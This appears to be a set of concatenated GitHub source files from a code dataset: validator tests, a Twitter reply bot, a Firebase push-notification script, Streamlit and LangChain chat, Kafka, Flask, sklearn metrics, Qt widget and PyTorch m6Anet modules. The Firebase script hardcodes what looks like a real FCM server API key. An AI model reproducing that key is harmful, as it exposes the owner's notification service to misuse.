V.RecordValidationResult()\n validator(record, res)\n self.assertEqual(len(res), 0)\n\n def test_length_validator(self):\n validator = V.Length('first_name', max=12)\n res = V.RecordValidationResult()\n record = {'first_name' : 'john'}\n validator(record, res)\n self.assertEqual(len(res), 0)\n validator({'first_name': 'xxxxxxxfasdfasdf'}, res)\n self.assertEqual(len(res), 1)\n\nif __name__ == '__main__':\n unittest.main()\n\n","repo_name":"jeremylowery/reclib","sub_path":"reclib/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39513370000","text":"import foo\nimport twit_utils\nCREDS_FILE = \"~/.creds/me.json\"\n\ndef make_it_so():\n # Step 1. Get my latest tweets\n tweets = twit_utils.get_latest_tweets_from_me(CREDS_FILE)\n print(\"Found\", len(tweets), \"tweets\")\n\n # Step 2. From my tweets, get the last time I did a yolobro reply\n breply = foo.latest_yolobro_reply(tweets)\n if breply:\n xid = breply['in_reply_to_status_id']\n else:\n xid = 1\n print(\"Searching for mentions with an id later than\", xid)\n\n # Step 3. Get the most recent mentions since my last yolobro reply\n mentions = twit_utils.get_mentions(CREDS_FILE, {\"since_id\": xid})\n print(\"Found\", len(mentions), \"mentions\")\n\n # Step 4. from the mentions, see if anyone has used the hashtag #bro\n brotweet = foo.find_first_bro_tagged_mention(mentions)\n\n if brotweet == None:\n print(\"No #Bro tweet to reply to\")\n return None\n else:\n # Step 5. Create the custom bro message\n print(\"About to send a message to\", brotweet['user']['screen_name'])\n txt = foo.make_yolobro_text()\n\n # Step 6. Send the message\n resp = twit_utils.reply(CREDS_FILE, txt, brotweet)\n return resp\n\n\n\nimport time\nprint('what')\nwhile True:\n make_it_so()\n time.sleep(10)\n","repo_name":"compjour/compjour-class-site","sub_path":"source/files/code/bots/yolobro/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"20637583428","text":"#!/usr/bin/env python3\n\"\"\"Script to demonstrate basic tensorflow machine learning.\"\"\"\n\nimport tensorflow as tf\n\n\ndef main():\n \"\"\"Main Function.\n\n Display data prediction from tensorflow model\n\n \"\"\"\n # Initialize key variables\n x1 = tf.constant(5)\n x2 = tf.constant(6)\n\n # Stage the tensors to run\n result = tf.multiply(x1, x2)\n print(result)\n\n # Defines our session and launches graph\n with tf.Session() as sess:\n # Get result\n output = sess.run(result)\n print(output)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"palisadoes/AI","sub_path":"general/sentdex/tfbasic.py","file_name":"tfbasic.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22040593362","text":"# 백준 2178번\n# 참고하기 - https://bmy1320.tistory.com/entry/%EB%B0%B1%EC%A4%80-Silver-1%EB%AC%B8%EC%A0%9C-%EB%B0%B1%EC%A4%80-%ED%8C%8C%EC%9D%B4%EC%8D%AC-2178-%EB%AF%B8%EB%A1%9C-%ED%83%90%EC%83%89\n\n# \n\n\nfrom collections import deque\n\nN, M = map(int, input().split())\n\nmaze = []\n\nfor _ in range(N):\n maze.append(list(map(int, input())))\n\n# 너비 우선 탐색\ndef bfs(x, y):\n # 이동할 네 가지 방향 정의 (상, 하, 좌, 우)\n dx = [-1, 1, 0, 0] \n dy = [0, 0, -1, 1]\n\n # deque 생성\n queue = deque()\n queue.append((x, y))\n\n while queue:\n x, y = queue.popleft()\n \n # 현재 위치에서 4가지 방향으로 위치 확인\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n\n # 위치가 벗어나면 안되기 때문에 조건 추가\n if nx < 0 or nx >= N or ny < 0 or ny >= M:\n continue\n \n # 벽이므로 진행 불가\n if maze[nx][ny] == 0:\n continue\n \n # 벽이 아니므로 이동\n if maze[nx][ny] == 1:\n maze[nx][ny] = maze[x][y] + 1\n queue.append((nx, ny))\n \n # 마지막 값에서 카운트 값을 뽑는다.\n return maze[N-1][M-1]\n\nprint(bfs(0, 0))\n\n \n \n","repo_name":"glory0224/Algorithm","sub_path":"Baekjoon/Graph/BFS/maze_search.py","file_name":"maze_search.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36758005782","text":"from firebase import firebase \nfrom pyfcm import FCMNotification\npush_service = FCMNotification(api_key=\"AAAAlwGOB7s:APA91bHTREkY-2Ypjxn6A-L6jplxbctiWTEO64eyP4gTZHVmWDYsiKoMEB07wMlV8Zi5XwTm3v5UlxUeOYTPUpJxtyfemLEVlNt7FV6nUU6O-mhpMeXrm3fta0mb7Rt6HsgimVUeHI0-\")\n\nfirebase = firebase.FirebaseApplication('https://crick-notify.firebaseio.com/',None) \n\nmessage_title = \"crickNotify\"\nmessage_body = \"Testing you are a valid user or not\"\n\nregistration_ids=[]\ndef updateRedIds():\n try:\n global registration_ids\n registration_ids=[]\n result = firebase.get('/users/', '') \n for i in result:\n registration_ids.append(i)\n print(\"Updated RegIds\")\n print(len(registration_ids))\n except:\n print(\"An exception occurred while trying to update regIds\") \n\ndef fbDeletetToken(token):\n try: \n firebase.delete('/users/', token) \n print('Deleted')\n except:\n print(\"An exception occurred deleting Tokens\")\ndef main():\n updateRedIds()\n global registration_ids\n print('Testing')\n for reg_id in registration_ids:\n print(reg_id)\n result = push_service.notify_single_device(registration_id=reg_id, message_title=message_title, message_body=message_body)\n if(result['failure']==1):\n print('failed once')\n result = push_service.notify_single_device(registration_id=reg_id, message_title=message_title, message_body=message_body)\n if(result['failure']==1):\n fbDeletetToken(reg_id) \n\n\nmain()","repo_name":"naveen1000/naveenkumars","sub_path":"fbDeleteTokens.py","file_name":"fbDeleteTokens.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30505907785","text":"from pymatgen.core.composition import Composition\nimport pandas as pd\n\nfilename='./generation_outputs_resnet6/diff_e2e-tgt_block_rand16_transformer_lr0.0001_0.0_2000_sqrt_Lsimple_h128_s6_d0.1_sd102_xstart_e2e.ema_0.9999_200000.pt.samples_-1.0.txt'\\\n\nsq=open(filename,'r')\nlines=sq.readlines()\n\nformulas =[]\nfor line in lines:\n if ' END START ' not in line:\n continue\n if '.' not in line:\n continue\n# print(line)\n line = line.strip()\n line = line[11:-1]\n# print(line)\n try: \n formula = Composition(line.replace(' ', '')).to_pretty_string()\n except:\n print('error in ',line)\n formulas.append(formula)\n formulas = list(set(formulas))\ndf = pd.DataFrame(formulas)\n\ndf.to_csv('formulas.csv', index=False, header=['pretty_formula'])\n\n\n","repo_name":"usccolumbia/matdiffusion","sub_path":"code/Diffusion-LM/improved-diffusion/sq2formula.py","file_name":"sq2formula.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5449488355","text":"import openai\nimport streamlit as st\nfrom langchain.chains import ConversationChain\nfrom langchain.chains.conversation.memory import ConversationSummaryBufferMemory\nfrom langchain.chat_models import ChatOpenAI\n\nfrom callback import CustomCallbackHandler\n\nopenai.api_key = st.secrets[\"OPENAI_TOKEN\"]\n\nresponse_llm = ChatOpenAI(\n temperature=0,\n openai_api_key=st.secrets[\"OPENAI_TOKEN\"],\n model_name=\"gpt-3.5-turbo\",\n streaming=True,\n callbacks=[CustomCallbackHandler()]\n)\n\nsummary_llm = ChatOpenAI(\n temperature=0,\n openai_api_key=st.secrets[\"OPENAI_TOKEN\"],\n model_name=\"gpt-3.5-turbo\",\n)\n\nif \"chain\" not in st.session_state:\n st.session_state.chain = ConversationChain(\n llm=response_llm,\n memory=ConversationSummaryBufferMemory(\n llm=summary_llm,\n max_token_limit=20\n )\n )\n\nst.title(\"Streamlit Chat💬\")\n\n# session state에 대화 내용 저장할 messages list 생성\nif \"messages\" not in st.session_state:\n st.session_state.messages = []\n\n# avatar\nuser_avatar = \"🧑‍💻\"\nsystem_avatar = \"./images/profile_robot.png\"\n\n\nwith st.chat_message(name=\"system\", avatar=system_avatar):\n st.markdown(\"반갑습니다 휴먼\")\n with st.spinner():\n st.image(\"./images/dance_robot.gif\")\n\n# 이전에 나눴던 대화들 차례대로 출력\nfor message in st.session_state.messages:\n role = message[\"role\"]\n content = message[\"content\"]\n avatar = user_avatar if role == \"user\" else system_avatar\n with st.chat_message(role, avatar=avatar):\n st.markdown(content)\n\n# 유저의 입력 받아서 UI에 추가\nprompt = st.chat_input(\"입력\")\nif prompt:\n # UI에 그려주기\n with st.chat_message(\"user\", avatar=user_avatar):\n st.markdown(prompt)\n # 히스토리에 추가\n st.session_state.messages.append({\"role\": \"user\", \"content\": prompt})\n\n # 답변 생성\n with st.chat_message(name=\"system\", avatar=system_avatar):\n response = st.session_state.chain(prompt)[\"response\"]\n # 히스토리에 추가\n st.session_state.messages.append({\"role\": \"system\", \"content\": response})\n","repo_name":"yeomko22/data_analytics_camp_2023_share","sub_path":"week20_llm_applications/ch20_5_streamlit_langchain_chat/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39685352379","text":"import argparse\nimport json\nimport time\nfrom kafka import KafkaProducer\n\ndef main():\n argsParser = argparse.ArgumentParser()\n argsParser.add_argument(\"-u\", \"--user\", dest=\"user\", required=True)\n argsParser.add_argument(\"-uid\", \"--user_id\", dest=\"uid\", required=True)\n argsParser.add_argument(\"-msg\", \"--message\", dest=\"msg\", required=True)\n args = argsParser.parse_args()\n\n data = {\n \"username\": args.user,\n \"uid\": args.uid,\n \"msg\": args.msg,\n \"ts\" : time.time()\n }\n json_string = json.dumps(data)\n\n producer = KafkaProducer(bootstrap_servers='localhost:9092')\n producer.send('kafka-chat', bytes(json_string, 'utf8'))\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"nelsonbighetti/Kafka-Chat","sub_path":"python/sendMsg.py","file_name":"sendMsg.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"75063253801","text":"from app_cfg import VERSION\nfrom datetime import datetime as dt\nfrom flask import Flask, jsonify\n\napp = Flask(\n __name__,\n static_url_path='',\n static_folder='web/static',\n template_folder='web/templates'\n)\n\n\n@app.route('/version')\ndef version():\n return jsonify(\n version=VERSION,\n deployed_at=dt.now()\n )\n\n\nif __name__ == '__main__':\n app.run(debug=False, port=9090)\n","repo_name":"shawnbmccarthy/viam-web-demo","sub_path":"demo_app.py","file_name":"demo_app.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4380022535","text":"from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score, roc_curve, roc_auc_score, plot_confusion_matrix\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass Classification_Score(object):\n \"\"\"\n Calculate Classification Score Module\n pos_label must be need to calculate precision score, ...\n \n \"\"\"\n def __init__(self, model, y_true, y_pred, pos_label = 1):\n self.model = model\n self.y_true = y_true\n self.y_pred = y_pred\n self.pos_label = pos_label\n\n def performance_score(self):\n accuracy = accuracy_score(self.y_true, self.y_pred)\n precision = precision_score(self.y_true, self.y_pred, pos_label=self.pos_label)\n recall = recall_score(self.y_true, self.y_pred, pos_label=self.pos_label)\n f1 = f1_score(self.y_true, self.y_pred, pos_label=self.pos_label)\n return [accuracy, precision, recall, f1]\n\n def print_score(self):\n [accuracy, precision, recall, f1] = self.performance_score()\n print(\"Accuracy Score: {}\".format(accuracy))\n print(\"Precision Score: {}\".format(precision))\n print(\"Recall Score: {}\".format(recall))\n print(\"F1 Score: {}\".format(f1))\n\n def confusion_matrix(self, X_test):\n plot_confusion_matrix(self.model, X_test, self.y_true) \n plt.show()\n\n def plot_roc_curve(self, y_prob):\n fpr, tpr, _ = roc_curve(self.y_true, y_prob)\n auc = round(roc_auc_score(self.y_true, y_prob),3)\n plt.plot(fpr,tpr,label=\"AUC=\"+str(auc))\n plt.ylabel('True Positive Rate')\n plt.xlabel('False Positive Rate')\n plt.legend(loc=4)\n plt.show()\n\n \nclass Regression_Score(object):\n \"\"\"\n Calculate Regression Score Module\n \n \"\"\"\n def __init__(self, model, y_true, y_pred):\n self.model = model\n self.y_true = y_true\n self.y_pred = y_pred\n\n def performance_score(self):\n mse = mean_squared_error(self.y_true, self.y_pred)\n mae = mean_absolute_error(self.y_true, self.y_pred)\n mape = MAPE(self.y_true, self.y_pred)\n r2 = r2_score(self.y_true, self.y_pred)\n return [mse, mae, mape, r2]\n\n def print_score(self):\n [mse, mae, mape, r2] = self.performance_score()\n print(\"Mean Squared Error: {}\".format(mse))\n print(\"Mean Absolute Error: {}\".format(mae))\n print(\"Mean Absolute Percentage Error: {}\".format(mape))\n print(\"R squared: {}\".format(r2))\n\ndef MAPE(y_test, y_pred):\n\treturn np.mean(np.abs((y_test - y_pred) / y_test)) * 100 ","repo_name":"ollehJW/machine_learning_module","sub_path":"model_utils/performance_utils.py","file_name":"performance_utils.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32027092021","text":"\"\"\"Tests for schema.\"\"\"\n\nimport json\nimport tempfile\nimport unittest\nfrom pathlib import Path\n\nfrom acsets import CATLAB_SCHEMAS_DIRECTORY, ACSet, Attr, AttrType, CatlabSchema, Hom, Ob, petris\n\nTESTING_SCHEMA = petris.SchPropertyLabelledReactionNet\nPETRI_SCHEMA_PATH = CATLAB_SCHEMAS_DIRECTORY.joinpath(\"{}.json\".format(TESTING_SCHEMA.name))\n\n\nclass TestSchema(unittest.TestCase):\n \"\"\"Tests for the schema.\"\"\"\n\n def test_hom(self):\n \"\"\"Test transforming Ob objects when instantiating a Hom.\"\"\"\n ob_transition = Ob(name=\"T\", title=\"Transition\")\n ob_input = Ob(name=\"I\", title=\"Input\")\n hom_it = Hom(\n name=\"it\", dom=ob_input, codom=ob_transition, title=\"Input transition morphism\"\n )\n self.assertEqual(ob_input.name, hom_it.dom)\n self.assertEqual(ob_transition.name, hom_it.codom)\n\n def test_attr(self):\n \"\"\"Test transforming Ob objects when instantiating an Attr.\"\"\"\n attr_type_name = AttrType(name=\"Name\", ty=str, title=\"Name\")\n ob_species = Ob(name=\"S\", title=\"Species\")\n attr_sname = Attr(\n name=\"sname\",\n dom=ob_species,\n codom=attr_type_name,\n title=\"Species name\",\n description=\"An attribute representing the name of a species.\",\n )\n self.assertEqual(ob_species.name, attr_sname.dom)\n\n def test_loading(self):\n \"\"\"Test loading a schema from a JSON file.\"\"\"\n schema = CatlabSchema.parse_file(PETRI_SCHEMA_PATH)\n self.assertEqual(\n TESTING_SCHEMA.schema.json(),\n schema.json(),\n )\n\n def test_writing(self):\n \"\"\"Test writing a schema works as expected.\"\"\"\n expected = json.loads(PETRI_SCHEMA_PATH.read_text())\n actual = json.loads(TESTING_SCHEMA.schema.json())\n self.assertEqual(expected, actual)\n\n def test_round_trip(self):\n \"\"\"Test writing, reading, then instantiating.\"\"\"\n with tempfile.TemporaryDirectory() as directory:\n path = Path(directory).resolve().joinpath(\"petri.json\")\n path.write_text(TESTING_SCHEMA.schema.json())\n sir = ACSet.from_file(name=\"petri\", path=path)\n s, i, r = sir.add_parts(\"S\", 3)\n self.assertIsInstance(s, int)\n","repo_name":"AlgebraicJulia/py-acsets","sub_path":"tests/test_schema.py","file_name":"test_schema.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"3848311582","text":"import os\n\nfrom studiovendor.Qt import QtGui\nfrom studiovendor.Qt import QtCore\nfrom studiovendor.Qt import QtWidgets\n\nimport studioqt\nimport studiolibrary.widgets\n\n\nclass PreviewWidget(QtWidgets.QWidget):\n\n def __init__(self, item, *args):\n QtWidgets.QWidget.__init__(self, *args)\n studioqt.loadUi(self)\n\n self._item = item\n\n iconGroupBoxWidget = studiolibrary.widgets.GroupBoxWidget(\"Icon\", self.ui.iconGroup)\n iconGroupBoxWidget.setObjectName(\"iconGroupBoxWidget\")\n iconGroupBoxWidget.setPersistent(True)\n self.ui.iconTitleFrame.layout().addWidget(iconGroupBoxWidget)\n\n schema = item.loadSchema()\n if schema:\n self._formWidget = studiolibrary.widgets.FormWidget(self)\n self._formWidget.setObjectName(item.__class__.__name__ + \"Form\")\n self._formWidget.setSchema(item.loadSchema())\n self._formWidget.setValidator(self.validator)\n\n self.ui.formFrame.layout().addWidget(self._formWidget)\n\n self.ui.acceptButton.hide()\n self.ui.acceptButton.setText(\"Load\")\n self.ui.acceptButton.clicked.connect(self.accept)\n\n self.createSequenceWidget()\n\n if item.NAME:\n self.ui.titleFrame.setVisible(True)\n self.ui.titleLabel.setText(item.NAME)\n else:\n self.ui.titleFrame.setVisible(False)\n\n if item.TYPE_ICON_PATH:\n self.ui.titleIcon.setVisible(True)\n self.ui.titleIcon.setPixmap(QtGui.QPixmap(item.TYPE_ICON_PATH))\n else:\n self.ui.titleIcon.setVisible(False)\n\n self._item.dataChanged.connect(self._itemDataChanged)\n\n self.updateThumbnailSize()\n\n def _itemDataChanged(self, *args, **kwargs):\n \"\"\"\n Triggered when the current item data changes.\n\n :type args: list\n :type kwargs: dict\n \"\"\"\n self.updateIcon()\n\n def setTitle(self, title):\n \"\"\"\n Set the title of the preview widget.\n\n :type title: str\n \"\"\"\n self.ui.titleLabel.setText(title)\n\n def validator(self, **kwargs):\n \"\"\"\n Validator used for validating the load arguments.\n\n :type kwargs: dict\n \"\"\"\n self._item.loadValidator(**kwargs)\n self.updateIcon()\n\n def createSequenceWidget(self):\n \"\"\"\n Create a sequence widget to replace the static thumbnail widget.\n\n :rtype: None\n \"\"\"\n self.ui.sequenceWidget = studiolibrary.widgets.ImageSequenceWidget(self.ui.iconFrame)\n\n self.ui.iconFrame.layout().insertWidget(0, self.ui.sequenceWidget)\n\n self.updateIcon()\n\n def updateIcon(self):\n \"\"\"Update the thumbnail icon.\"\"\"\n icon = self._item.thumbnailIcon()\n if icon:\n self.ui.sequenceWidget.setIcon(icon)\n\n if self._item.imageSequencePath():\n self.ui.sequenceWidget.setDirname(self.item().imageSequencePath())\n\n def close(self):\n \"\"\"\n Overriding the close method so save the persistent data.\n\n :rtype: None\n \"\"\"\n if self._formWidget:\n self._formWidget.savePersistentValues()\n QtWidgets.QWidget.close(self)\n\n def resizeEvent(self, event):\n \"\"\"\n Overriding to adjust the image size when the widget changes size.\n\n :type event: QtCore.QSizeEvent\n \"\"\"\n self.updateThumbnailSize()\n\n def updateThumbnailSize(self):\n \"\"\"\n Update the thumbnail button to the size of the widget.\n\n :rtype: None\n \"\"\"\n width = self.width() - 5\n if width > 150:\n width = 150\n\n size = QtCore.QSize(width, width)\n\n self.ui.iconFrame.setMaximumSize(size)\n self.ui.iconGroup.setMaximumHeight(width)\n\n self.ui.sequenceWidget.setIconSize(size)\n self.ui.sequenceWidget.setMinimumSize(size)\n self.ui.sequenceWidget.setMaximumSize(size)\n\n def accept(self):\n \"\"\"Called when the user clicks the load button.\"\"\"\n kwargs = self._formWidget.values()\n self._item.load(**kwargs)\n","repo_name":"DangoWang/OCTToolkits","sub_path":"DCC_TOOLS/AN/studiolibrary/studiolibrary/widgets/previewwidget.py","file_name":"previewwidget.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"32684006161","text":"import os, glob, torch, time\nimport numpy as np\nfrom PIL import Image\nimport torch.nn as nn\n\n\ndef resampling(x, new_size):\n l = len(x.shape)\n if l == 2:\n x = torch.from_numpy(x).type(torch.FloatTensor).unsqueeze(0).unsqueeze(1)\n if l == 3:\n x = torch.from_numpy(x).type(torch.FloatTensor).unsqueeze(1)\n\n x = nn.functional.interpolate(\n input=x, size=new_size, mode='bilinear', align_corners=True).numpy()\n\n return np.squeeze(x)\n\n\ndef mask_overlap(img, mask):\n img = np.concatenate([np.expand_dims(img, 2)]*3, 2)\n img[:,:,0] = np.multiply(img[:,:,0], 1 - mask)\n imagesc(img)\n\n\ndef to_8bit(x):\n if type(x) == torch.Tensor:\n x = (x / x.max() * 255).numpy().astype(np.uint8)\n else:\n x = (x / x.max() * 255).astype(np.uint8)\n\n if len(x.shape) == 2:\n x = np.concatenate([np.expand_dims(x, 2)]*3, 2)\n return x\n\n\ndef imagesc(x, show=True, save=None):\n if isinstance(x, list):\n x = [to_8bit(y) for y in x]\n x = np.concatenate(x, 1)\n x = Image.fromarray(x)\n else:\n x = x - x.min()\n x = Image.fromarray(to_8bit(x))\n if show:\n x.show()\n if save:\n x.save(save)\n\n\ndef append_dict(x):\n return [j for i in x for j in i]\n\n\ndef resize_and_crop(pilimg, scale):\n dx = 32\n\n w0 = pilimg.size[0]//dx * dx\n h0 = pilimg.size[1]//dx * dx\n pilimg = pilimg.crop((0, 0, w0, h0))\n\n w = pilimg.size[0]\n h = pilimg.size[1]\n newW = int(w * scale)\n newH = int(h * scale)\n\n img = pilimg.resize((newW, newH))\n\n return img\n\n\nclass imorphics_masks():\n def __init__(self, adapt=None):\n self.adapt = adapt\n\n def load_masks(self, id, dir, fmt, scale):\n if self.adapt is not None:\n id = str(self.adapt.index((int(id.split('/')[1]), id.split('/')[0])) + 1) + '_' + str(int(id.split('/')[2]))\n raw_masks = []\n for d in dir:\n temp = []\n for m in d:\n x = Image.open(os.path.join(m, id + fmt)) # PIL\n x = resize_and_crop(x, scale=scale) # PIL\n x = np.array(x) # np.int32\n temp.append(x.astype(np.float32)) # np.float32\n\n raw_masks.append(temp)\n\n out = np.expand_dims(self.assemble_masks(raw_masks), 0)\n return out\n\n def assemble_masks(self, raw_masks):\n converted_masks = np.zeros(raw_masks[0][0].shape, np.long)\n for i in range(len(raw_masks)):\n for j in range(len(raw_masks[i])):\n converted_masks[raw_masks[i][j] == 1] = i + 1\n\n return converted_masks\n\n\ndef load_masks(id, dir, fmt, scale):\n raw_masks = []\n for d in dir:\n temp = []\n for m in d:\n x = Image.open(os.path.join(m, id + fmt)) # PIL\n x = resize_and_crop(x, scale=scale) # PIL\n x = np.array(x) # np.int32\n temp.append(x.astype(np.float32)) # np.float32\n\n raw_masks.append(temp)\n\n return raw_masks\n\n\ndef assemble_masks(raw_masks):\n converted_masks = np.zeros(raw_masks[0][0].shape, np.long)\n for i in range(len(raw_masks)):\n for j in range(len(raw_masks[i])):\n converted_masks[raw_masks[i][j] == 1] = i + 1\n\n return converted_masks\n","repo_name":"vkola-lab/ar2021","sub_path":"loaders/loader_utils.py","file_name":"loader_utils.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18691976450","text":"r\"\"\"\nThis module is a collection of m6Anet building blocks\n\"\"\"\nimport torch\nfrom torch import nn\nfrom typing import Dict, Optional\n\n\ndef get_activation(activation: str) -> torch.nn.Module:\n r'''\n Instance method to get modification probability on the site level from read features.\n\n Args:\n activation (str): A string that corresponds to the desired activation function. Must be one of ('tanh', 'sigmoid', 'relu', 'softmax')\n Returns:\n activation_func (torch.nn.Module): A PyTorch activation function\n '''\n allowed_activation = ('tanh', 'sigmoid', 'relu', 'softmax')\n activation_func = None\n if activation == 'tanh':\n activation_func = nn.Tanh()\n elif activation == 'sigmoid':\n activation_func = nn.Sigmoid()\n elif activation == 'relu':\n activation_func = nn.ReLU()\n elif activation == 'softmax':\n activation_func = nn.Softmax(dim=1)\n else:\n raise ValueError(\"Invalid activation, must be one of {}\".format(allowed_activation))\n\n return activation_func\n\n\nclass Block(nn.Module):\n r\"\"\"\n The basic building block of m6Anet model\n \"\"\"\n def __init__(self):\n super(Block, self).__init__()\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n r\"\"\"\n The forward method should be implemented in subclasses\n \"\"\"\n raise NotImplementedError(\"Subclasses should implement this method\")\n\n\nclass ConcatenateFeatures(Block):\n r\"\"\"\n Block object to concatenate several different features (i.e, k-mer embedding and signal features) into one high dimensional tensor\n \"\"\"\n def __init__(self):\n super(ConcatenateFeatures, self).__init__()\n\n def forward(self, x: Dict) -> torch.Tensor:\n r'''\n Instance method to concatenate all tensor values in dictionary as one high dimensional tensor\n\n Args:\n x (dict): Dictionary containing tensor values\n\n Returns:\n x (torch.Tensor): PyTorch tensor from concatenating all values in the dictionary input\n '''\n x = torch.cat([val for _, val in x.items()], axis=1)\n return x\n\n\nclass ExtractSignal(Block):\n r\"\"\"\n Block object to extract only the signal features from input argument\n \"\"\"\n def __init__(self):\n super(ExtractSignal, self).__init__()\n\n def forward(self, x):\n r'''\n Instance method to extract only the signal features from the input. The signal value must have the key 'X' in the dictionary input\n\n Args:\n x (dict): Dictionary containing tensor values\n\n Returns:\n x (torch.Tensor): PyTorch tensor containing the signal value corresponding to the key 'X' in the input dictionary\n '''\n return x['X']\n\n\nclass DeaggregateNanopolish(Block):\n r\"\"\"\n Block object to reshape both signal and sequence features from nanopolish preprocessed input\n\n ...\n\n Attributes\n -----------\n num_neighboring_features (int): Number of flanking positions included in the features\n n_features (int): Number of features in the signal data\n \"\"\"\n def __init__(self, num_neighboring_features: int, n_features: Optional[int] = 3):\n r'''\n Initialization function for the class\n\n Args:\n num_neighboring_features (int): Number of flanking positions included in the features\n n_features (int): Number of features in the signal data\n\n Returns:\n None\n '''\n super(DeaggregateNanopolish, self).__init__()\n self.num_neighboring_features = num_neighboring_features\n self.n_features = n_features * (2 * self.num_neighboring_features + 1)\n\n\n def forward(self, x: Dict) -> Dict:\n r'''\n Instance method to split features from nanopolish preprocessed input into signal and sequence features in a Python dictionary\n\n Args:\n x (Dict): Python dictionary containing signal features and sequence features\n\n Returns:\n (dict): Python dictionary containing signal features and sequence features\n '''\n return {'X': x['X'].view(-1, self.n_features), 'kmer': x['kmer'].view(-1, 1)}\n\n\nclass Flatten(Block):\n r\"\"\"\n Block object that acts as a wrapper for torch.nn.Flatten\n ...\n\n Attributes\n -----------\n layers (nn.Module): PyTorch nn.Flatten\n \"\"\"\n def __init__(self, start_dim, end_dim):\n r'''\n Initialization function for the class\n\n Args:\n start_dim (int): Starting dimension to flatten\n end_dim (int): Ending dimension to flatten\n\n Returns:\n None\n '''\n super(Flatten, self).__init__()\n self.layers = nn.Flatten(start_dim, end_dim)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n r'''\n Instance method to flatten the target tensor\n\n Args:\n x (torch.Tensor): Tensor input\n\n Returns:\n x (torch.Tensor): Flattened tensor output according to the specified start_dim and end_dim during initialization\n '''\n return self.layers(x)\n\n\nclass KmerMultipleEmbedding(Block):\n r\"\"\"\n Block object that applies PyTorch embedding layer to sequence information from nanopolish input\n ...\n\n Attributes\n -----------\n input_channel (int): Number of unique 5-mer motifs to be embedded\n output_channel (int): Output dimension of the transformed 5-mer motif\n embedding_layer (nn.Module): PyTorch nn.Embedding layer to transform categorical variable into vectors\n n_features (int): Number of features in the signal data\n \"\"\"\n def __init__(self, input_channel: int, output_channel:int, num_neighboring_features: Optional[int] = 1):\n r'''\n Initialization function for the class\n\n Args:\n input_channel (int): Number of unique 5-mer motifs to be embedded\n output_channel (int): Output dimension of the transformed 5-mer motif\n num_neighboring_features (int): Number of flanking positions around the target site\n\n Returns:\n None\n '''\n super(KmerMultipleEmbedding, self).__init__()\n self.input_channel, self.output_channel = input_channel, output_channel\n self.embedding_layer = nn.Embedding(input_channel, output_channel)\n self.n_features = 2 * num_neighboring_features + 1\n\n def forward(self, x: Dict) -> Dict:\n r'''\n Instance method to apply embedding layer on sequence features, transforming them into high dimensional vector representation\n\n Args:\n x (dict): Python dictionary containing signal features and sequence feature\n\n Returns:\n (dict): Python dictionary containing signal features and transformed sequence features\n '''\n kmer = x['kmer']\n return {'X': x['X'], 'kmer' :self.embedding_layer(kmer.long()).reshape(-1, self.n_features * self.output_channel)}\n\n\nclass Linear(Block):\n r\"\"\"\n Block object that applies PyTorch Linear layer, BatchNorm and Dropout\n ...\n\n Attributes\n -----------\n layers (nn.Module): A sequence of PyTorch Module classes\n \"\"\"\n def __init__(self, input_channel, output_channel, activation='relu', batch_norm=True, dropout=0.0):\n r'''\n Initialization function for the class\n\n Args:\n input_channel (int): Number of input dimension\n output_channel (int): Number of output dimension\n activation (str): Activation function\n batch_norm (bool): Whether to use BatchNorm or not\n dropout (float): Dropout value\n\n Returns:\n None\n '''\n super(Linear, self).__init__()\n self.layers = self._make_layers(input_channel, output_channel, activation, batch_norm, dropout)\n\n def _make_layers(self, input_channel: int, output_channel: int, activation: str, batch_norm: bool, dropout: Optional[float] = 0.0):\n r'''\n Function to construct PyTorch Sequential object for this class, which comprised of a single\n Linear layer along with BatchNorm1d and possibly a dropout\n\n Args:\n input_channel (int): Number of input dimension\n output_channel (int): Number of output dimension\n activation (str): Activation function\n batch_norm (bool): Whether to use BatchNorm or not\n dropout (float): Dropout value\n\n Returns:\n None\n '''\n layers = [nn.Linear(input_channel, output_channel)]\n if batch_norm:\n layers.append(nn.BatchNorm1d(num_features=output_channel))\n if activation is not None:\n layers.append(get_activation(activation))\n layers.append(nn.Dropout(p=dropout))\n return nn.Sequential(*layers)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n r'''\n Instance method to apply linear layer on tensor features\n\n 